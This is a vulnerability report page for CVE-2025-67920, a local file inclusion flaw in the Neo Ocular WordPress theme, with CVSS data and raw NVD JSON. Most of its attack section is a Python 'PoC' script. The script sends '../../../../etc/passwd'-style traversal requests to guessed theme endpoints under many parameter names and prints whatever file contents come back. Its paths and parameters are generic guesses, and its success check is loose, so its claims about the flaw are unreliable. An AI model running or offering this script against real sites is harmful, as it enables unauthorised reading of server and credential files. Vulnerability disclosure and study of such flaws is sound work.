Security Vulnerability Report
中文
CVE-2025-67920 CVSS 8.1 HIGH

CVE-2025-67920

Published: 2026-01-08 10:15:51
Last Modified: 2026-04-27 18:16:49

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Neo Ocular neoocular allows PHP Local File Inclusion.This issue affects Neo Ocular: from n/a through < 1.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Neo Ocular主题 < 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_lfi(target_url, filename='../../../../etc/passwd'): """ PoC for CVE-2025-67920: Neo Ocular Local File Inclusion This script demonstrates how an attacker could exploit the LFI vulnerability to read sensitive files from the server. Args: target_url: Base URL of the vulnerable WordPress site filename: Path to the file to include (default: /etc/passwd) Returns: Content of the included file if successful """ # Common vulnerable endpoints in Neo Ocular theme vulnerable_paths = [ '/wp-content/themes/neoocular/includes/ajax.php', '/wp-content/themes/neoocular/inc/ajax.php', '/wp-content/themes/neoocular/functions.php', ] # Common parameter names used in LFI vulnerabilities param_names = ['file', 'template', 'page', 'include', 'load', 'view'] for path in vulnerable_paths: for param in param_names: try: full_url = target_url.rstrip('/') + path params = {param: filename} response = requests.get(full_url, params=params, timeout=10) # Check if the response contains file contents if response.status_code == 200: if 'root:' in response.text or '[' in response.text: print(f'[+] SUCCESS: File inclusion via {path} with param {param}') print(f'[+] File content preview:') print(response.text[:500]) return response.text except requests.RequestException as e: continue print('[-] Exploitation failed - target may not be vulnerable or path is incorrect') return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_67920_poc.py <target_url> [filename]') print('Example: python cve_2025_67920_poc.py http://example.com ../../../../etc/passwd') sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '../../../../etc/passwd' exploit_lfi(target, file_to_read)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67920", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:50.977", "lastModified": "2026-04-27T18:16:49.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Neo Ocular neoocular allows PHP Local File Inclusion.This issue affects Neo Ocular: from n/a through < 1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/neoocular/vulnerability/wordpress-neo-ocular-theme-1-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}